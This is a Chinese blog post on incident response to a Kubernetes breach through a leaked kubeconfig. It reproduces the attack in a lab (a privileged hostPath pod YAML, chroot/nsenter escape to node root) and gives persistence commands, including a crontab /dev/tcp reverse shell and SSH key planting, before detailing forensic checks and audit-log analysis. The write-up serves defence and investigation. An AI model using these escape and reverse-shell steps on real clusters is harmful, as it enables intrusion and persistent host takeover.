k8s KubeConfig泄露-黑客远程调用ApiServer创建特权容器获取Node节点权限应急排查
近2年的应急响应案例中,k8s的入侵案例逐渐增多。并且多次遇到客户云上内网被入侵后黑客窃取了KubeConfig文件,从公网远程调用ApiServer创建容器获取Node服务器权限植入 2026-6-8 04:0:0 Author: zgao.top(查看原文) 阅读量:9 收藏

近2年的应急响应案例中,k8s的入侵案例逐渐增多。并且多次遇到客户云上内网被入侵后黑客窃取了KubeConfig文件,从公网远程调用ApiServer创建容器获取Node服务器权限植入后门的案例。

开发者/CI 系统的 kubeconfig 文件泄露到 Git / 日志 / 备份
        │
        ▼  黑客获取该文件
黑客在公网直接调用 apiserver(6443 端口)
        │
        ▼  权限确认为 cluster-admin
黑客创建一个特权 Pod,挂载宿主机根目录
        │
        ▼  kubectl exec 进容器
chroot / nsenter 拿到 Node 宿主机的 root shell
        │
        ▼
完全控制该 Node 宿主机

泄露途径非常多样:.kube/config 被 git add -A 带进仓库、CI 流水线打印了 KUBECONFIG 环境变量、开发者把 kubeconfig 存到共享网盘……一旦泄露,攻击者就能以持有人的身份操作集群,而集群本身不会有任何告警。

复现环境

本实验在腾讯云香港按量计费,搭建了一个三节点集群,有意混用 Ubuntu 22.04 和 CentOS 7.9 两种操作系统,以便在应急响应部分真实对比两种 OS 下的日志路径差异。

角色OS规格公网 IP内网 IP
master(control-plane)Ubuntu 22.044C8G129.xxx.50.24710.0.1.14
node-ubuntu(worker)Ubuntu 22.042C4G43.xxx.182.9610.0.1.2
node-centos(worker)CentOS 7.92C4G43.xxx.29.3810.0.1.11
  • Kubernetes v1.30.14,kubeadm 安装,flannel CNI
  • apiserver 监听 0.0.0.0:6443,证书 SAN 含公网 IP(模拟真实暴露场景)
  • 攻击机:攻击者模拟用的是我自己的 Mac,不在集群内网,纯公网操作

模拟泄露的 kubeconfig

真实场景里,kubeconfig 从各种渠道泄露。这里我们直接使用 master 节点上的 admin.conf(已将 server 地址改写为公网 IP),模拟”已泄露”状态。

用泄露的凭证连接集群

攻击者在自己的机器上:

export KUBECONFIG=$PWD/lab/attack/leaked-kubeconfig.yaml

kubectl version
# Server Version: v1.30.14  目标版本

kubectl get nodes -o wide

3个节点都 Ready,一个 control-plane,两个 worker。继续枚举权限:

kubectl auth can-i --list

*.* → [*],完整 cluster-admin,等同于集群 root。

kubectl auth can-i create pods              # yes
kubectl auth can-i create clusterrolebindings  # yes
kubectl get pods -A                         # 看到所有系统 pod

一份泄露的 kubeconfig,相当于让攻击者从公网拿到了整个集群的最高权限。

创建特权 Pod

特权 Pod 是本次逃逸的核心。关键配置:

# cat lab/attack/privileged-pod.yaml
apiVersion: v1
kind: Pod
metadata:
  name: pwn
  namespace: default
spec:
  hostPID: true        # 共享宿主机 PID 命名空间
  hostIPC: true        # 共享宿主机 IPC 命名空间
  hostNetwork: true    # 共享宿主机网络命名空间
  containers:
  - name: pwn
    image: ubuntu:22.04
    command: ["/bin/bash", "-c", "sleep infinity"]
    securityContext:
      privileged: true  # 拥有所有 Linux capability,可访问所有设备
    volumeMounts:
    - name: host
      mountPath: /host  # 宿主机 / 挂载到容器 /host
  volumes:
  - name: host
    hostPath:
      path: /           # 挂载宿主机根目录
      type: Directory
  restartPolicy: Never
  #   不配置 tolerations → 不容忍 control-plane:NoSchedule 污点
  #   Pod 会自动调度到 worker node(vm-1-2-ubuntu),正好是我们要拿的目标

制作好特权容器pod的yaml后,我们通过kubectl创建特权容器。

kubectl apply -f lab/attack/privileged-pod.yaml
# pod/pwn created

kubectl wait --for=condition=Ready pod/pwn --timeout=120s
# pod/pwn condition met

kubectl get pod pwn -o wide

Pod 落在了 worker node(vm-1-2-ubuntu),符合预期。

逃逸到 Node 宿主机

方法一:chroot 进宿主机根文件系统

kubectl exec -it pwn -- chroot /host bash

因为 /host 就是宿主机的 /,chroot 之后我们的根就是宿主机的根。

方法二:nsenter 进宿主机 PID 1 命名空间

kubectl exec -it pwn -- nsenter --target 1 --mount --uts --ipc --net --pid -- bash

nsenter 直接进入宿主机 init 进程(PID 1)的所有命名空间,比 chroot 更彻底:网络、进程、挂载点全部是宿主机视角。

拿到Node Shell的进一步利用

拿到 Node 宿主机 root shell 之后,攻击者可以有多种方式可以在内网横移和持久化。

持久化的方式就有常见的写入ssh公钥,对于Node节点没有公网ip的情况,通用是反弹Shell或者下载后门执行。

# 写 SSH 公钥到宿主机 root(无需 k8s 就能登进来)
mkdir -p /root/.ssh
echo "ssh-ed25519 AAAA...攻击者公钥... /root/.ssh/authorized_keys
# 之后直接 ssh 登录

# 反弹shell
echo "* * * * * /bin/bash -i >& /dev/tcp/192.168.xxx.xx/2333 0>&1" >>/etc/crontab

应急响应如何排查这类攻击

K8s 层:发现可疑 Pod

第一步:扫描集群里所有带危险配置的 Pod

kubectl get pods -A -o json | jq -r '
  .items[] |
  {
    ns:          .metadata.namespace,
    name:        .metadata.name,
    privileged:  ([.spec.containers[]?.securityContext.privileged // false] | any),
    hostPath:    ([.spec.volumes[]? | select(.hostPath)] | length > 0),
    hostPID:     (.spec.hostPID     // false),
    hostNetwork: (.spec.hostNetwork // false)
  } |
  select(.privileged or .hostPath or .hostPID or .hostNetwork) |
  "[!] \(.ns)/\(.name)  privileged=\(.privileged)  hostPath=\(.hostPath)  hostPID=\(.hostPID)  hostNetwork=\(.hostNetwork)"
'

关键判断:default 命名空间下出现 privileged+hostPath+hostPID 全开的 Pod,且不是系统组件 → 高度可疑。

攻击者写进 kube-system 的唯一动机是伪装——kubectl get pods -A 时和 kube-proxy、coredns 混在一起,粗看不容易发现。

这也是 jq 扫描命令要全量扫 -A(all namespaces)然后按 namespace 做二次判断的意义——kube-system 里出现 privileged=true + hostPID=true + hostPath=/ 的非系统组件,同样是高危告警。

第二步:抓 Pod 详情和时间线

# 查 Pod spec 里的完整安全配置
kubectl get pod pwn -o jsonpath='{.spec.containers[0].securityContext}'

# 查 Pod 落在哪个 Node、什么时候创建
kubectl get pod pwn -o wide

kubectl get pod pwn -o jsonpath='创建时间: {.metadata.creationTimestamp}{"\n"}'

第三步:查 Event,还原完整创建过程

  # 指定 namespace
  kubectl get events -n kube-system --field-selector involvedObject.name=pwn-ephemeral

  # 不确定在哪个 namespace,全量搜
  kubectl get events -A --field-selector involvedObject.name=pwn-ephemeral

攻击时间轴一目了然,但是只有事发 1 小时内有效

Node 层:宿主机侧的取证

直接 SSH 进受影响的 worker node宿主机排查,containerd 日志——记录了 Pod sandbox 和容器的创建:

# 不知道pod名字——找所有 sandbox 创建事件
journalctl -u containerd   | grep -iE "RunPodSandbox|CreateContainer"

kubelet 日志——记录了 hostPath volume 挂载:

journalctl -u kubelet | grep -i "VerifyControllerAttachedVolume\|host-path"

host-path volume 的挂载记录是关键证据,且日志里会明确显示 pod 名,可以从这里反向确认名字。

双平台日志实测对比

同一个特权 Pod(pwn-centos)在 CentOS 7.9 节点上创建,分别用两种方式查:

方式一:/var/log/messages(CentOS 有,Ubuntu 无)

grep "VerifyControllerAttachedVolume\|RunPodSandbox\|CreateContainer" /var/log/messages

方式二:journalctl(ubuntu 和 centos 都能用)

两种方式在 CentOS 上查到的是完全一样的内容。命令同上。

原因:CentOS 7 的 rsyslog 默认加载了 imjournal 模块,它会订阅 systemd journal,把所有 *.info 级别的消息(包括 kubelet、containerd 写入 journal 的日志)同步转写到 /var/log/messages

Ubuntu 22.04 默认没有安装 rsyslog(或未配置 imjournal),journal 只以二进制格式保存在 /var/log/journal/,必须通过 journalctl 读取。

Audit Log 中的真实攻击记录

默认 kubeadm 安装不开启 audit log。本实验已在 master 节点开启,以下是真实攻击链在 /var/log/kubernetes/audit.log 中留下的原始记录

# 排除内网的请求ip来源,方便快速定位异常公网调用
sudo jq 'select(
    .sourceIPs | map(
      test("^10\\.|^172\\.(1[6-9]|2[0-9]|3[01])\\.|^192\\.168\\.|^127\\.|^::1$|^fe80:|^fc[0-9a-f]:|^fd[0-9a-f]:")
      | not
    ) | any
  )' /var/log/kubernetes/audit.log

通过 audit log 可以精确回答:谁(username)从哪里(sourceIPs)在什么时间(timestamp)执行了 exec,是溯源的黄金证据。

第一步:Pod 创建(CREATE 201)

{
  "requestReceivedTimestamp": "2026-06-05T10:41:00.866989Z",
  "verb": "create",
  "user": {
    "username": "kubernetes-admin",
    "groups": ["kubeadm:cluster-admins", "system:authenticated"]
  },
  "sourceIPs": ["159.196.171.95"],
  "userAgent": "kubectl/v1.36.1 (darwin/arm64) kubernetes/7569396",
  "objectRef": {
    "resource": "pods",
    "namespace": "default",
    "name": "pwn",
    "apiVersion": "v1"
  },
  "responseStatus": { "code": 201 },
  "requestObject": {
    "kind": "Pod",
    "spec": {
      "hostPID": true,
      "hostNetwork": true,
      "containers": [{
        "image": "ubuntu:22.04",
        "securityContext": { "privileged": true },
        "volumeMounts": [{ "name": "host", "mountPath": "/host" }]
      }]
    }
  }
}

关键字段解读:

  • sourceIPs: 159.xxx.xxx.95 — 攻击者公网 IP(这里是本实验研究机器)
  • userAgent: kubectl/v1.36.1 (darwin/arm64) — 攻击者使用 Mac 上的 kubectl
  • spec.hostPID/hostNetwork: true + privileged: true — 特权逃逸特征,必须告警
  • volumeMounts mountPath: /host — 挂载宿主机根目录的典型手法

第二步:进入容器执行命令(EXEC 101)

{
  "requestReceivedTimestamp": "2026-06-05T10:41:07.854399Z",
  "verb": "get",
  "user": {
    "username": "kubernetes-admin",
    "groups": ["kubeadm:cluster-admins", "system:authenticated"]
  },
  "sourceIPs": ["159.196.171.95"],
  "userAgent": "kubectl/v1.36.1 (darwin/arm64) kubernetes/7569396",
  "objectRef": {
    "resource": "pods",
    "namespace": "default",
    "name": "pwn",
    "apiVersion": "v1",
    "subresource": "exec"
  },
  "responseStatus": { "code": 101 }
}

关键字段解读:

  • subresource: exec — 明确是 kubectl exec 操作
  • code: 101 — HTTP 101 Switching Protocols(WebSocket 握手成功)= exec 会话建立
  • 从 CREATE(10:41:00)到 EXEC(10:41:07)仅 7 秒
  • Audit policy 设置 level: Request 时可记录命令参数(command=id&command=hostname

第三步:强制删除 Pod(DELETE 200)

{
  "requestReceivedTimestamp": "2026-06-05T10:41:09.711710Z",
  "verb": "delete",
  "user": {
    "username": "kubernetes-admin",
    "groups": ["kubeadm:cluster-admins", "system:authenticated"]
  },
  "sourceIPs": ["159.196.171.95"],
  "userAgent": "kubectl/v1.36.1 (darwin/arm64) kubernetes/7569396",
  "objectRef": {
    "resource": "pods",
    "namespace": "default",
    "name": "pwn",
    "apiVersion": "v1"
  },
  "responseStatus": { "code": 200 }
}

关键字段解读:

  • CREATE → EXEC → DELETE 全程仅 9 秒
  • Pod 删除后 kubectl get pods 为空,但 audit log 完整保留三个事件
  • 这正是反取证手法失效的地方:audit log 是 apiserver 写的,攻击者删 Pod 并不影响已写入的日志

用 jq 快速筛查攻击条目

# 筛出所有 pod create/exec/delete by kubernetes-admin
sudo jq -c 'select(
  .user.username == "kubernetes-admin" and
  (.verb == "create" or .verb == "delete" or .objectRef.subresource == "exec") and
  .objectRef.resource == "pods"
) | {ts: .requestReceivedTimestamp, verb, name: .objectRef.name, src: .sourceIPs[0], code: .responseStatus.code}' \
  /var/log/kubernetes/audit.log

输出示例:

如何开启Audit Log

在 /etc/kubernetes/manifests/kube-apiserver.yaml 中加入以下参数开启:

- --audit-policy-file=/etc/kubernetes/audit-policy.yaml
- --audit-log-path=/var/log/kubernetes/audit.log
- --audit-log-maxage=30
- --audit-log-maxbackup=3

同时需要在 volumes / volumeMounts 中将 policy 文件和日志目录挂入 apiserver 容器。apiserver 是 static pod,修改 manifest 后 kubelet 自动重启,无需手动操作

排查流程总结

发现告警(Pod 异常 / HIDS 告警 / 流量异常)
        │
        ▼
[K8s 层] kubectl get pods -A -o json | jq ... → 找 privileged+hostPath+hostPID 的非系统 Pod
        │           │
        │           └─ 找不到?→ Pod 可能已被攻击者删除,继续往下查
        ▼
[K8s 层] kubectl get events -n <ns> → 查 pod 历史 event(1h 内有效)
         → 确认创建时间、镜像来源、落在哪个 Node
        │
        ▼
[Node 层] grep/journalctl → 查 kubelet VerifyControllerAttachedVolume(hostPath 挂载时间锚)
[Node 层] grep/journalctl → 查 containerd RunPodSandbox / CreateContainer(容器启动时间)
        │
        ▼
[Node 层] 以上述时间为基准,用 find -newer 找同期写入的文件:
          /etc/cron.d/         → 持久化定时任务
          /root/.ssh/authorized_keys → 植入的 SSH 公钥
          /tmp /var/tmp        → 后门程序、隐藏文件
          /etc/systemd/system/ → 持久化 service
[Node 层] ss -tnp             → 可疑外连(反弹 shell)
        │
        ▼
[Audit]  audit.log → 查 pods/exec 记录(verb=create resource=pods/exec)
         → 定位攻击者源 IP、username、User-Agent
        │
        ▼
[遏制]   kubectl delete pod(如仍存在)
         吊销泄露 kubeconfig(轮换证书)
         kubectl cordon + drain 受影响 Node
         清理宿主机后门(crontab / authorized_keys / service / 隐藏文件)

Post Views: 4

赞赏

微信赞赏支付宝赞赏


文章来源: https://zgao.top/k8s-kubeconfig%e6%b3%84%e9%9c%b2-%e9%bb%91%e5%ae%a2%e8%bf%9c%e7%a8%8b%e8%b0%83%e7%94%a8apiserver%e5%88%9b%e5%bb%ba%e7%89%b9%e6%9d%83%e5%ae%b9%e5%99%a8%e8%8e%b7%e5%8f%96node%e8%8a%82%e7%82%b9%e6%9d%83/
如有侵权请联系:admin#unsafe.sh